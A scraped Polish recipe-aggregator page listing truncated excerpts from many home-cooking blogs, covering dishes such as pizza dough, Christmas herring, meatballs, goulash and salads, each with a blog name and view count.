celu późniejszego użycia. Na dnie pozostaje nam wtedy krem/śmietanka kokosowa, którą można wyzbierać za pomocą łyżki. Taką sytuację mieliśmy w następujących przepisach: ♥ orkiszowe placki z mascarpone z sosem bananowym ♥ cytrynowy twarogowiec z kremem kokosowo-cytrynowo-miętowym ♥ kokosowy tofurniczek - serniczek z tofu ♥ lody truskawkowe bez maszynki i śmietanki ♥ kawowy pudding chia z kaki i kokosową bitą śmietaną o smaku czarnego

Be Fit Be Strong
Ciasto na Pizze 232

blachę posmarowaną olejem i je jeszcze rozciągam dłońmi do wielkości blachy – aby łatwiej było przenieść ciasto na blachę nawijam je na wałek i przenoszę . Teraz pozostało tylko nałożyć przygotowany sos i składniki na pizze i ją upiec . Pizze piekę około 25 minut . Jeżeli przygotujemy większość ilość ciasta lub nie wykorzystamy całego to możemy ciasto na pizze włożyć do pojemnika plastikowego

Uwaga Babcia Piecze Chleb
Krokiety z canalloni z wędzonym dorszem i mozzarellą 178

kotkę (drobną) serem oraz połową jajka. Rurki nadziać farszem obtoczyć w jajku i następnie w bułce tartej zmieszanej z sezamem. Smażyć na rumiano z obu stron. Można podawać z sosem

Di gotuje
Szybka pasta kanapkowa z wędzonego tofu 170

szybka w przygotowaniu, prosta i w dodatku pyszna! Warto mieć taki przepis w zanadrzu!  Składniki: - 1 kostka wędzonego tofu POLSOJA - 1 pieczona papryka (czerwona, można pominąć) - 1 łyżka sosu sojowego - 1 łyżka oleju (u mnie z prażonych nasion sezamu) - 1 łyżeczka musztardy - sól, pieprz Pieczenie jednej papryki w piekarniku, ma raczej mały sens, więc polecam upieczenie kilku sztuk, które

Be Fit Be Strong
Kacze udka pieczone w cydrze z gruszkami, żurawiną i jarmużem 312

być królową świątecznego stołu i dzisiaj propozycja, którą możecie wykorzystać właśnie na świąteczny, bożonarodzeniowy obiad. Cudownie miękkie w środku, z chrupiącą skórką, kacze udka upieczone z dodatkiem aromatycznego cydru, sosem gruszkowo-żurawinowym i duszonym jarmużem. Powiem krótko - niebo w gębie! Koniecznie musicie wypróbować ten przepis i gwarantuję, że Wasza rodzina lub goście będą zachwyceni. Danie jest pełne smaku a przygotowanie

Smaczna Pyza
Wołowe klopsiki z kaszą jaglaną 218

Uwielbiamy! Zarówno mąż jak i ja. Są soczyste, aromatyczne no i ten pomidorowy sos. Dodatek oliwek przenosi nas do słonecznej i ciepłej Hiszpanii w samym środku zimy. Jeżeli chcecie możecie zajadać się samymi pulpetami

Szybko Tanio Smacznie
Art & Food Bazar w Krakowie edycja świąteczna 13 grudnia, relacja 161

wspaniała atmosfera, idealna nie tylko na niedzielne, deszczowe popołudnie, poza tym przemiła obsługa, z którą śmiało można przy okazji porozmawiać.  Co dobrego zjadłam i wypiłam? Frytki belgijskie z sosem z dodatkiem bakłażana i rozmarynu, a moje ulubione, od lat są Oliwki etc   Tym razem wybrałam sałatkę, którą dobrze już znałam z innego wydarzenia kulinarnego, sałatka z fasoli

Moja smaczna kuchnia
Duszona pieczona łopatka z boczniakami 198

paski boczniakami podsmażamy na maśle. Dodajemy pokrojoną w kostkę, pieczoną karkówkę, zalewamy bulionem, wrzucamy jałowiec i dusimy pod przykryciem przez 30 min. Mąkę rozrabiamy w zimnej wodzie, dodajemy do sosu i zagotowujemy, cały czas mieszając. Do smaku doprawiamy solą i pieprzem. Przed podaniem posypujemy listkami majeranku. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle

R'n'G Kitchen
Śledzie z szarą renetą w majonezowo- musztardowym dresingiem 215

usunięciu gniazd nasiennych w kostkę   wraz ze skórką. Cebulę pokroiłem w krążki. Majonez   wymieszałem z musztardą . Szczypiorek posiekałem dość drobno. Tak przygotowane składniki   delikatnie wymieszałem z sosem, cebulą i jabłkiem. Sałatkę posypałem szczypiorkiem i świeżo zmielonym pieprzem

R'n'G Kitchen
Schab z kością w marynacie musztardowej. 170

polewamy roztopionym masłem. Pieczemy w nagrzanym do 200 stopni piekarniku przez 1 godz. 10 minut.  Z pozostałej wody z tłuszczem możemy zrobić bardzo pyszny sos - przelewamy zawartość naczynia na patelnię, podgrzewając na małym ogniu i cały czas mieszając dodajemy 1 łyżeczkę mąki. Podajemy z kluskami i surówką. Smacznego

Moje-pitraszenie
Kurczak curry w mleczku kokosowym 260

Propozycja na kolejne szybkie i smaczne danie obiadowe. Dla lubiących orientalne przyprawy - pierś kurczaka w sosie curry na mleczku kokosowym. Czytaj więcej

Ana Mari's world
Tagliatelle z krewetkami, suszonymi pomidorami, polane sosem serowym Gorgonzola 260

Świeży makaron Tagliatelle, krewetki, do tego suszone pomidory, natka pietruszki i sos Gorgonzola to idealna propozycja na obiad każdego dnia :) Czytaj więcej

Ana Mari's world
Tagliatelle w kremowym sosie z botwinką i cukinią. 253

Normal 0 21 MicrosoftInternetExplorer4 Ostatnio pojawiła się na rynku botwinka, więc bez wahania kupiłam ją! Wymyśliłam danie obiadowe dość oryginalne - zapraszam na Tagliatelle w kremowym sosie z botwinką i cukinią. Czytaj więcej

Ana Mari's world
Czekoladowe pierogi z truskawkami i twarożkowym sosem 186

Składniki: Na 10 sztuk Ciasto: 1 szklanka mąki + do podsypywania 2 łyżeczki kakao 1 łyżeczka cukru waniliowego 100ml mocno ciepłego mleka 10 truskawek (lub tyle ile wyszło nam pierogów) Sos twarożkowy: 1/2 opakowania śmietankowego serka typu Almette (ok. 65g) 1/3 czekolady mlecznej jagodowo-poziomkowej 1 łyżeczka mleka 1 łyżeczka cukru waniliowego kilka truskawek kilka listków mięty Sposób przygotowania: 1. Mąkę

Kuchnia w czekoladzie
Warzywny pasztet z groszkiem i selerem 180

liście laurowe 2 duże cebule, posiekane ½ szklanki mielonych orzechów włoskich 1 pełnoziarnista bułka, namoczona w wodzie 1 łyżeczka majeranku ½ łyżeczki lubczyku ½ łyżeczki cząbru ½ łyżeczki mielonej kolendry 2 łyżki sosu sojowego sól pieprz Groch odcedź i ugotuj według instrukcji na opakowaniu w świeżej nieosolonej wodzie.  Piekarnik rozgrzej do 200°C. Seler obierz, pokrój w plastry, a te następnie na mniejsze

Roślinna - blog wegański
„Żelazna” surówka z buraków 340

buraki - Pęczek posiekanej natki pietruszki - 3 starte białe rzodkiewki (może być też rzepa lub zwykła rzodkiewka) - 1 mała cebula lub ½ większej pokrojona w drobną kostkę - 4 łyżki pestek słonecznika Sos: - 3 łyżki oleju (u mnie lniany) - 1 łyżka soku z cytryny - 1 łyżka syropu z agawy (lub innego słodu, może być też miód) - 1 łyżeczka musztardy - 1 łyżeczka octu winnego

Smakuje zdrowo
Pasta z ryby i sera 209

szprotek w pomidorach  2-3 łyżki startego żółtego sera 1 mała cebula 1 łyżka sezamu sól pieprz natka pietruszki Rybę z puszki przełożyć do miseczki wraz z sosem i rozgnieść widelcem. Dodać drobno posiekaną cebulę, sezam, żółty ser i posiekaną natkę pietruszki. Wszystko doprawić solą i pieprzem.Wymieszać. pasta z ryby i sera

O kuchni z uczuciem
.1166. kolejne placki... 157

dyniowe drożdżowe racuszki z sosem orzechowym*~ * mix orzechowy Primavika + odrobina gorącego mleka sojowego Pierwszy weekend, w którym nigdzie nie wyjeżdżam i nie mam żadnych zajęć dodatkowych od...dwóch miesięcy? :o Ale żeby tak pięknie nie było - czeka mnie masa nauki :( Dlatego orzechy na śniadania jak najbardziej wskazane! :D A ten mix orzechowy wskakuje na podium jeśli chodzi o masła orzechowe

breakfast of dreams
Pyszny jogurtowo pomaranczowy chlebek żurawinowy 182

problemu powinniście znaleźć na targu, albo w supermarkecie, ja kupiłam dużą (hodowlaną) i drobniejszą (leśną) obie smakują wyśmienicie, z reszty która mi została zrobię wkótce pyszny pomarańczowo żurawinowy sos. Składniki :  1,5 szklanki żurawiny świeżej 2 średnie pomarańcze 3-4 łyżeczki ksylitolu lub cukru  2 szklanki mąki (ja użyłam 1 szklankę mąki ryżowej i jedną żytniej pełnoziarnistej

zdrowa vege kuchnia
Przepis na Zupę Gulaszową z Wołowiną 234

Najpierw przygotuję mięso : Umyte i osuszone mięso kroję w drobną kostkę . Tak pokrojone mięso podsmażam na mocno rozgrzanym oleju na patelni przez około 4 minuty . Następnie mięso razem z sosem przekładam do garnka , dodaję : 500 ml wody , paprykę słodką , kminek . Garnek stawiam na gazie i na małym ogniu duszę pod przykryciem . W tym czasie gdy mięso się dusi przygotuję paprykę

Uwaga Babcia Gotuje
Gulasz z Ziemniakami – Danie Jedno Garnkowe 221

Koperek drobno siekam użyję go do posypania gulaszu na talerzu . Przygotowanie gulaszu z ziemniakami : Pokrojone mięso obsmażam na rozgrzanym oleju na patelni przez około 10 minut . Następnie mięso z sosem przekładam do garnka dodaję około 200 ml wody i przyprawy do duszenia : paprykę słodką , oregano , tymianek , kminek , listki laurowe , ziele angielskie . Mieszam , garnek stawiam na gazie i dusze na małym

Uwaga Babcia Gotuje
Danie Jedno Garnkowe - Kasza Gryczana z Warzywami i Piersią Kurczaka 237

pół plasterki i dodaję do papryki . Teraz paprykę z pieczarkami smażę na rozgrzanym oleju na patelni przez 15 minut na średnim ogniu . Usmażoną paprykę z pieczarkami razem z sosem przekładam do garnka w którym przygotuję całe danie . W międzyczasie gdy smażę pieczarki i paprykę przygotuję brokuł : Umyty brokuł dzielę na mniejsze kawałki . W garnku zagotowuję wodę ze szczyptą cukru

Uwaga Babcia Gotuje
Golonki z Indyka Pieczone w Piekarniku 283

stopni na środkową półkę. Golonki będę piekła około 120 minut w temperaturze 180 stopni, 60 minut pod przykryciem i 60 minut bez przykrycia, pod koniec pieczenia polewam golonki zgromadzonym sosem w naczyniu 2 – 3 razy (co około 5 minut i nadal piekę). Golonki z indyka są gotowe można podawać, jak na wstępie pisałam mięso jest delikatne i bardzo smaczne. Życzę

Uwaga Babcia Gotuje
Alpejskie Roladki 238

maśle dorzucamy ugotowana kaszę na kaszy układamy gorące, zarumienione roladki  Smacznego! p S do całości dobrze pasuje sałatka z chrupiącej sałaty lodowej z winogronem i pomidorkami koktajlowymi w sosie vinegret

Luźna Kuchnia
Wigilijne śledzie w śmietanie 167

drobną kostkę lub zetrzeć na tarce o grubych oczkach, cebulę ***** pokroić w piórka lub w kostkę, dodać śmietanę z majonezem, doprawić do smaku. Śledzie ułożyć na półmisku, zalać przygotowanym sosem i odstawić na co najmniej 12 godzin do lodówki. Przed podaniem udekorować koperkiem lub szczypiorkiem *** Jeśli nie mamy mielonych liści laurowych i mielonego ziela angielskiego można włożyć je do śmietany

Kulinaria - potrawy z różnych stron świata
Przepis na… – Minestra maritata świąteczne danie z Neapolu 278

Oczywistą oczywistością jest, że Amerykanie zmodyfikowali wiele dań włoskich. Osławione stały się kulki mięsne w sosie pomidorowym, wariacje na temat pizz i deserów. W Stanach Zjednoczonych popularność zyskała też pochodząca z Kampanii świąteczna zupa Minestra Maritata , błędnie przetłumaczona nie jako zaślubiona zupa, a jako „ wedding soup ” – zupa ślubna. Włoska nazwa podkreślała doskonałe połączenie składników, odpowiadające małżonkom stojącym

Bon Ton Italia
Królik w warzywach i w winie 160

samej patelni. Po chwili dodajemy szklankę bulionu, wino, miód i śmietanę. Ewentualnie doprawiamy solą i pieprzem. Zagotowujemy. Na królika wykładamy mieszankę groszku z marchewką. Całość podlewamy przygotowanym sosem z cebulą i czosnkiem. Przykrywamy folią aluminiową i pieczemy w piekarniku w temp. 190 o C do miękkości mięsa około godzinę. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
DOSKONAŁY PASZTET Z CUKINII ZE ŚWIEŻYMI ZIOŁAMI, BEZGLUTENOWY 282

bardzo przypadł nam do gustu, a szczególnie mnie. Przez kilka kolejnych dni zajadałam go z wielkim apetytem na kolację. Uwielbiam pasztety z dodatkiem żurawiny z chrzanem... pychotka. Sosem tatarskim również nie pogardzę. ale chrzan i żurawina, to dla mnie połączenie idealne. Polecam, taki pasztet, jest bardzo lekki, a zarazem pożywny. Ja wprowadziłam tylko małe zmiany, zamiast bułki tartej do swojego

Smaczne Zdrowe
ROSTI – SZWAJCARSKIE PLACKI ZIEMNIACZANE 317

narodowym. Mogą być podawane samodzielnie lub też jako dodatek do obiadu. Bardzo często przygotowuje się je z zapiekanym serem na górze albo kiełbasą. Idealnie smakują solo albo z ulubionym sosem. Są świetny pomysłem zarówno na obiad, jak też imprezowe danie! Niesamowicie chrupiące! Gwarantuję, że każdy z przyjemnością będzie sięgał po dokładkę! SKŁADNIKI: * ziemniaki – 500 g * cebula

Ostra na Słodko
Gołąbki z mięsem i kaszą jaglaną . 214

szklanki wody  . Przykrywamy folią i wstawiamy do nagrzanego do 180 stopni piekarnika .Pieczemy około 70 minut , można sprawdzić po jakimś czasie widelczykiem czy kapusta jest miękka. Podawać z sosem pomidorowym lub ketchupem . Smacznego

Sama słodycz i szczypta chili
Paola dania dla dzieci 194

rodzynkami. Pamiętasz jeszcze inne dania na słodko, które tak lubiłaś jako dziecko; kluski leniwe, pierogi z owocami czy słodkim serem, ryż ze śmietaną i truskawkami, makaron z twarogiem i sosem owocowym, naleśniki z owocami, zupy owocowe. Mama i babcia często dodawały do nich różne domowe soki, syropy, które robiły z dojrzałych, pełnych słońca, pachnących owoców i cukru. Twoje dzieci też

Domowa Cukierenka-Domowa Kuchnia
Bombaj yellow ,curry 208

żeby się nie przypaliło ( około 5-6 minut ) . Następnie dorzucamy kurczaka, solimy , zmniejszamy ogień , przykrywamy pokrywką i dusimy , co jakiś czas mieszając około 30-40 minut . Po tym czasie sos powinien być gęsty i pyszny . Podajemy z chlebkiem pita lub samodzielnie , udekorowane kolendrą lub pietruszką . Można zrobić to danie dzień wcześniej , odgrzewane Bombaj yellow curry, zyskuje jeszcze na smaku . Smacznego

Ogrodnik w podróży
śledzie w sosie musztardowym 162

Polecam śledzie w sosie musztardowym

Ugotujmy Coś
Sałatka z fioletowych ziemniaków z kabanosami 200

parze, pokroić i dodać do nich cokolwiek a otrzymamy pyszne, pożywne dania. Ziemniaki wbrew obiegowej opinii wcale nie są bardzo kaloryczne. To przeważnie zbyt duża ich ilość albo tłuste sosy czy okraszenie ciężkimi skwarkami powoduje, że stają się bombą kaloryczną. W sałatce, w połączeniu z innymi warzywami, są bardzo smaczne i wcale nie ciężkie. Spróbujcie koniecznie! A wracając do niezwykłych

Smaczna Pyza
Sałatka z makaronu gryczanego z tuńczykiem 342

składnikami, a w dodatku ładnie się prezentuje. Doprawiłam pieprzem białym od  Rafex . Składniki: 300 gram makaronu gryczanego od  Fabijńscy 1 puszka kukurydzy 1 puszki tuńczyka w sosie własnym Kawałek pora 5 łyżek majonezu Sól świeżo mielony pieprz biały od  Rafex Sposób przygotowania: Makaron gotujemy w osolonej wodzie z dodatkiem  oleju według przepisu na opakowaniu, pozostawiamy

Bajeczna Kuchnia
Schab pieczony 1147

Taki pieczony schab możemy podać z sosem na ciepło lub na zimno jako wędlinę. Często przyrządzam go na Święta Bożego Narodzenia. Do marynaty  użyłam przyprawy Bosforskiej i Adźika od firmy  Rafex , schab jest bardzo smaczny i aromatyczny. Składniki: 1,5 kilograma schabu 1/4 szklanki oleju 1 łyżeczka soli 0,5 łyżeczki czosnku granulowanego 1 łyżeczka ostrej papryki

Bajeczna Kuchnia
Placek po węgiersku 200

jajka i sól do smaku, mieszamy.Na rozgrzanym oleju smażymy duże okrągłe placki na złoty kolor z obydwu stron. Na każdy usmażony placek wykładamy porcję gulaszu, składamy na pół, polewamy sosem, podajemy z kleksem śmietany

Bajeczna Kuchnia
Pulpeciki w sosie śmietanowo-chrzanowo-ketchupowym 156

Pulpeciki w pysznym sosie..szybko się robi i szybko , smacznie zjada. 1/2 kg mięsa mielonego 1 jajko 1 łyżka otrąb owsianych 1 łyżeczka chrzanu 1 cebulka przyprawy [sól,pieprz, vegeta, majeranek] susz warzywny  1 szkl.śmietany 1 łyżka mąki 1 1/2 łyżki chrzanu 1 łyżka ketchupu 2 łyżki koperku  Cebulę drobno posiekać, dodać do mięsa.Dodać także jajko

Moje domowe kucharzenie
Zapiekanka makaronowa z mięsem 450

słodką papryką, ostrą papryką i majerankiem. Gotowe mięso wymieszać z makaronem i przełożyć do naczynia żaroodpornego. Śmietanę wymieszać z puszką pomidorów, doprawić solą i pieprzem. Polać zapiekankę tak, aby sos przykrył makaron. Piec w piekarniku nagrzanym do 180 stopni C . Po wyjęciu zapiekanki na gorącą ułożyć paski sera tworząc kratki. Smacznego zapiekanka makaronowa z mięsem

O kuchni z uczuciem
Danie kuchni gruzińskiej -Czebureki z mięsem 214

rozgrzanym oleju. Kilka minut z jednej i drugiej strony, do zarumienienia.   Odsączamy na ręczniku papierowym. Z gorących Czebureków po przekrojeniu, wypływa smaczny rosołek.   Pierożki możemy podawać z sosem czosnkowym lub z dowolnym, który lubimy. SMACZNEGO Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Natale all’Italiana – Boże Narodzenie we Włoszech. Warsztaty kulinarne w Akademii Kulinarnej Whirlpool 280

delikatniejsze. [źródło: Monini ] Po degustacji ruszyliśmy do kuchni. Marco podzielił nas na grupy, gdyż nie bylibyśmy w stanie przygotować samodzielnie wszystkich potraw w wyznaczonym czasie. Mnie przypadła cielęcina w sosie tuńczykowym. Wraz z Anią i Kasią w mig uporałyśmy się z tym daniem, więc miałyśmy czas na degustację wina, które serwował nam Emiliano Castagna , współwłaściciel Akademii Kulinarnej Whirlpool, wspaniały gospodarz

Codzienna kuchnia niecodzienna
BLENDER RĘCZNY DESIRE 3W1 Russell Hobbs -Wielki Pomocnik w małej kuchni Ratatouille z cukinią , fenkułem i dzikim ryżem 141

trzyfunkcyjny blender ręczny posiada 2 ustawienia prędkości. Idealnie nadaje się do mieszania, ubijania, siekania i innych kuchennych zadań. Łatwe w użyciu urządzenie sprawia, że przygotowanie smakowitych dipów i sosów staje się bezproblemowe. Stylowe czerwone wykończenie z czarnymi akcentami prezentuje się imponująco wśród innych sprzętów kuchennych. Kolor ma cudny, moc daje radę ...a i nie wrzeszczy na mnie i na innych

Z Kuchni Do Kuchni
Miruna zapiekana z warzywami duszonymi w winie 334

minut. Po zdjęciu z ognia dodałem śmietanę wymieszaną z parmezanem i żółtkiem oraz posiekaną natką pietruszki. Warzywa delikatnie wymieszałem. Rybę ułożyłem na dnie wysmarowanej masłem żaroodpornej formie, polałem sosem warzywnym i zapiekałem ok. 30 minut w piekarniku rozgrzanym do 180 stopni

R'n'G Kitchen
Struklji – słoweńskie rolowane pierogi. 353

ostrożnie wyjąć z garnka , ja przełożyłam delikatnie na sitko i następnie na talerz .Wyjmujemy roladę z folii i kroimy na kawałki .Posypujemy cukrem i gorącym masłem. Ja podałam z sosem malinowym . Mniam -mniam dziękuję za przepis

Ladylaura.
Hamburger z szarpaną wieprzowiną 258

zawór ciśnienia w pozycji dekompresji i poczekać kilka minut, aż wydostanie się cała para. Przygotowaną szarpaną wieprzowinę podzielić na mniejsze części, np. za pomocą widelca. Bułki posmarować warzywami i sosem (z szybkowaru), położyć liść sałaty lodowej i dużą ilość szarpanej wieprzowiny. Od razu podawać

Ugotować
Nogi kurczaka z tarniną 166

Przykryć resztą owoców. Przykryć pokrywką. Wstawić do piekarnika nagrzanego do 180 stopni. Po 1/2 godziny wlać wodę, przykryć i piec kolejne 1/2 godziny. Mięso wyjąć i trzymać w cieple. Sos przetrzeć przez sito, zagęścić przez gotowanie. Podałam z puree z pietruszki. *u mnie kurczak kukurydziany zastawa

królestwo garów
Ekspresowa babka ziemniaczana z boczkiem 298

ziemniaków Ekspresowa babka ziemniaczana z boczkiem, do tego surówka z kiszonej kapusty (może być też inna) i kubek barszczu czerwonego to syty i pożywny obiad. Jako dodatek może być sos, np. pieczarkowy lub grzybowy. No i oczywiście moja ulubiona wersja – na drugi dzień, gdy już stężeje – pokrojona w plastry i odsmażona na patelni. Gorąco polecam. Smacznego. Wydrukuj przepis

mojewypiekiinietylko
Domowy makaron z natką pietruszki z masłem cytrynowym 187

pizzy lub ciasta kroimy w kwadraty, prostokąty tak, aby w każdym kawałku znajdowała się pietruszka. Makaron gotujemy z wodzie na al dente. Zamiast sera bursztyn, można użyć parmezanu. Sos: Sparzoną cytrynę, suszymy, kroimy na plasterki, a następnie na ćwiartki. Na patelni roztapiamy masło, dodajemy cytrynę i chwilkę podgrzewamy, żeby masło nabrało cytrynowego smaku. Makaron polewamy masłem cytrynowym, posypujemy świeżo startym

Moniki Smakołyki
Spaghetti z kurczakiem i świeżym szpinakiem. 237

szczyptę ziół. Gotujemy osoloną wodę na makaron i gotujemy go zgodnie z przepisem na opakowaniu. Kiedy kurczak będzie już prawie gotowy dodajemy śmietankę i redukujemy całość. Do zredukowanego sosu dodajemy wcześniej ugotowany makaron i mieszamy, chwilę jeszcze podgrzewając aby smaki się połączyły. Smacznego

Wspólne smaki
Pieczarki faszerowane mięsem mielonym 2698

mielonego. Zapiekać w temp. 180C przez ok. 20-30 minut (w zależności jak grube są kapelusze pieczarek). Następnie posypać serem i piec jeszcze ok. 5 minut. Podawać np. z sosem czosnkowym. Smacznego! :) The post Pieczarki faszerowane mięsem mielonym appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
,,Topniejące bałwanki migdałowe” 154

użyciem pomarańczowego pisaka a kokardki i szaliki czerwonym pisakiem. Do wykonania ciasteczek wykorzystałam miskę do rozpuszczania produktów w kąpieli wodnej marki Zenker. Doskonała do wykonania delikatnych ciast, deserów i sosów, gdyż masło i czekolada najbezpieczniej rozpuszcza się kąpieli wodnej. Produkt wykonany z wysokiej jakości stali nierdzewnej, co zapewnia trwałości i odporność na zarysowania. Wyposażony został w długą rączkę oraz specjalny

Podróż w kulinaria
Klopsiki w sosie koperkowym 187

Smaczne i aromatyczne klopsiki w sosie koperkowym,idealne na drugie danie . Składniki: 0,5 kilograma mięsa mielonego 1 jajko 1 kajzerka Sól,pieprz Vegeta 2-3 łyżki mąki pszennej Olej do smażenia Mąka pszenna do obtoczenia klopsów Pęczek posiekanego kopru 3-4 łyżki śmietany Sposób przygotowania: Mięso przekładamy  do miski, bułkę namaczamy w wodzie odciskamy i dodajemy do mięsa

Bajeczna Kuchnia
kotlety jajeczno-ziemniaczane z kurkumą... 215

rzepakowy rozgrzać mocno na patelni, formować owalne kotlety i kłaść porcjami na patelnię smażyć na rumiane kotlety z każdej strony, odkładać na ręcznik papierowy - kotlety są smaczne również z sosami, keczupem i na ciepło i na zimno...................SMACZNEGO

W Mojej Kuchni Lubię
Luksusowe ciasto z ajerkoniakiem i wiśniami 215

rozmieszaną mąkę ziemniaczaną i jeszcze chwilkę gotować. Wymieszać, wlać do dzbanuszka i zostawić, żeby ostygł. Jeśli sok jest kwaśny dosłodzić do smaku. Oczywiście można podać ciasto bez śmietany i sosu wiśniowego. Ciasto rewelacyjne

Kuchnia Pokoleń
Najlepsze przepisy na śledzie. Wigilijne śledzie. 672

oleju z żurawiną, ogórkiem i papryką Śledzie wigilijne z kurkami Śledzie wigilijne z marynowanymi grzybami , ogórkami i papryką Wigilijne Śledzie z marynowanymi warzywami śledzie po sułtańsku. Śledzie w musztardowym sosie z koperkiem wigilijne rolmopsy z ogórkiem i koperkiem w delikatnej zalewie octowej Rolmopsy wigilijne z marchewką, ogórkiem i koperkiem w zalewie winno-octowej Śledzie w pikantnej salsie Wigilijna sałatka śledziowa

Damsko-męskie spojrzenie na kuchnię
Ciabatta z jajkiem i szynką parmeńską na sałacie 165

talerzach z sałatą. Szczyptę soli, niewielką ilość czarnego świeżo zmielonego pieprzu, łyżeczkę musztardy, łyżeczkę miodu, łyżkę octu winnego i trzy łyżki oliwy dokładnie wymieszałem. Sałatę skropiłem tak przygotowanym sosem. Upieczone ciabatty ułożyłem na sałacie

Wyprawy kulinarne
Parówki w puchatym cieście z mozzarellą 182

papryki sól do smaku (około 1/3 łyżeczki) Dodatkowo: 6-7 plastrów sera mozzarella (nie z zalewy) mąka do obtaczania olej do smażenia Opcjonalnie: dowolne przyprawy do doprawienia ciasta (*) ulubiony sos (polecam z firmy Folwark )   Jajko zmiksować z mlekiem i mąką. Dodać sól i przyprawy. W dużej łyżce rozmieszać (nad miską z ciastem) sodę z octem. Mieszaninę (będzie mocno się

Di gotuje
Dorsz w sosie pomidorowo-paprykowym 143

Dorsz to jedna z naszych ulubionych ryb. Najczęściej na talerzu ląduje smażony w panierce, ale tym razem postanowiłam przygotować go zdrowiej, w pysznym, lekko pikantnym sosie paprykowo-pomidorowym. I chyba wyszło pysznie, bo córka stwierdziła że dawno tak dobrej ryby nie jadła. Zapraszam Czytaj więcej

Bernika - moj kulinarny pamietnik
Kotleciki z mięsa z rosołu 159

razem mięso z rosołu zostało przerobione na super smaczne kotleciki. Możemy podać je z ulubionym sosem i/lub surówką. Składniki na około 8 kotletów 2 ćwiartki z kurczaka marchew + pietruszka + cebula z rosołu 1/2 zeszklonej cebuli 1 jajko sól , pieprz do smaku szczypta kurkumy bułka tarta do obtoczenia kotletów 1. Mięso oddzielamy od kości i siekamy nożem na desce do krojenia

Gotowanie...to proste !
#23 Zimowy-zielony makaron 189

minut, tak aby wszystkie warzywa pokryły się oliwą i do końca zmiękły. W międzyczasie dokładnie mieszam jogurt, jajko i przyprawy, następnie wlewam do warzyw i ciągle mieszając gotuję, aż sos zgęstnieje (2-3 minuty).  Makaron ugotuję w osolonej wodzie przez ok. 10 min. i podaję z warzywami.  Szybko i smacznie

Kuchnia w szuwarach
Sałatka z melonem, fetą i awokado 277

cebulę obrać i pokroić w cienkie wiórka, wyłożyć na talerz. Bezpośrednio na przygotowane składniki zetrzeć na tarce o dużych oczkach ser feta (ja pokroiłam w kostkę). Wierzch posypać miętą. Sos do sałatki: skórka starta z 1 cytryny; sok wyciśnięty z połowy cytryny; 1 łyżka miodu; 3 łyżki oliwy; sól, pieprz; Składniki wymieszać i polać sałatkę.  Sałatkę należy podawać mocno

In my kitchen
Zupa z pora z pulpecikami 200

Moja córeczka uwielbia wszelakie pulpeciki i klopsiki. Małe mięsne kuleczki robiłam już w różnych sosach, były też w zapiekance i w leczo . Teraz trafiły do zupy z pora. składniki: 1,5 l bulionu drobiowego 500 g pora ( biała i jasnozielona część) 2 łyżki masła 1 łyżeczka tymianku 200 g serka topionego (dałam Emmentaler Lactima) 450 g mięsa mielonego , u mnie

Monia miesza i gotuje
Sałatka z kuskusem i świeżym ogórkiem 213

dzielimy na 4 słupki i kroimy na małe kawałki. Ser i wędlinę kroimy w kostkę. Do zimnej kaszy dodajemy pokrojone składniki oraz kukurydzę. Mieszamy.  W osobnym naczyniu przygotowujemy sos, mieszamy majonez ze śmietaną i przyprawami. Łączymy z sałatką. SMACZNEGO

kulinarnyswiatdomi
Paella z dorszem i krewetkami 194

paprykę, przesmażamy około 2-3 min, dodajemy cebulkę z czosnkiem, kolejne 2-4 min na patelni, następnie dodajemy pomidory i zaczynamy dusić, po około 5 min dodajemy wino. Gdy sos zredukuje się mniej więcej o 1/3 wsypujemy ryż i delikatnie mieszamy. Teraz zalewamy wszystko połowa naszego bulionu i dodajemy też bulion z szafranem. (bulion polecam wlewać przez sitko) Delikatnie rozmieszajcie

Kuba Gotuje
Nalewka z suszonej żurawiny 282

owoc bogaty w wiele cennych witamin i minerałów. Jest cennym źródłem błonnika pokarmowego. W kuchni z powodzeniem możemy ją wykorzystywać do przygotowywania nalewek, deserów, ciast, ciastek, dań mięsnych, czy sosów.  Żurawina suszona MAKAR spełniła wszystkie moje oczekiwania. Produkt jest wart polecenia i zakupu.  Żurawiny smakowe  MAKAR  są dostępne między innymi na bazarku w sklepie Auchan

Tradycyjna kuchnia Kasi
Kilka pomysłów na... 186

ostatnio tonami, gruszki, buraki  .. no i bataty :D  Mam nadzieję, że coś wam przypadnie do gustu :)  gryczane placki cukiniowe z camembertem i gruszką,  z sosem musztardowo-miodowym  zapiekanka cukinia faszerowana kuskusem,  ciecierzycą z podsmażoną cebulką (z przyprawą garam masala, kminkiem rzymskim, curry itd.. ) (vegan) "Leniwe" z batatów*, podsmażone z maśle z syropem

More food, love and dreams
Sałatka grecka 238

kilka krążków cebuli. Do garnuszka wlać 2-3 łyżki oliwy i dodać nieco ziół sałatkowych +sól lub 1/3 opakowania gotowej mieszanki Knorr (polecam włoską i francuską). Sałatkę polać sosem winegret i delikatnie wymieszać. Na koniec sałatkę posypać serem feta (można kupić w kostkach, ale osobiście korzystam z całego kawałka i wrzucam do sałatki odcięte kawałki).  Sałatkę można serwować

Passions hobbies life
Kurczak faszerowany mięsem mielonym 383

godzinę. Jeżeli kurczak będzie trochę większy to troszeczkę dłużej piec. Zostawić w rękawie tak długo, aż ostygnie. Pokroić w plastry i rozłożyć na platerze. Można podać z sosem tatarskim, czosnkowym

Kuchnia Pokoleń
Śledzie pod pierzynką 210

Układamy je w płaskim naczyniu. Skrapiamy sokiem z cytryny. Jabłka i cebulę kroimy w kostkę i układamy na śledziach. Jogurt mieszamy z majonezem, doprawiamy solą i pieprzem. Gotowym sosem polewamy nasze śledzie.   Na wierzch sypiemy koperkiem. Odstawiamy do lodówki na kilka godzin, żeby składniki dokładnie się połączyły.   Najlepiej smakują następnego dnia.   Smacznego

Passion of Cooking
Warstwowa sałatka z tuńczykiem 388

nderze na gładką masę albo po prostu mieszamy i wykładamy na pieczywo. Układane kolejno w arst wy dodają całości atrakcyjności i oryginalnego wygląd u. 1 puszka tuńczyka w sosie własnym 1 mała cebula 1/2 puszki kukurydzy 3 ogórki kiszone 100g żółtego sera 3 łyżki majonezu 3 jajka 1. Jajka gotujemy na twardo, studzimy, obieramy ze skorupek, oddzielamy białka od żółtek

Szefowa kuchni
Szybki makaron z indykiem i szynką dojrzewającą 218

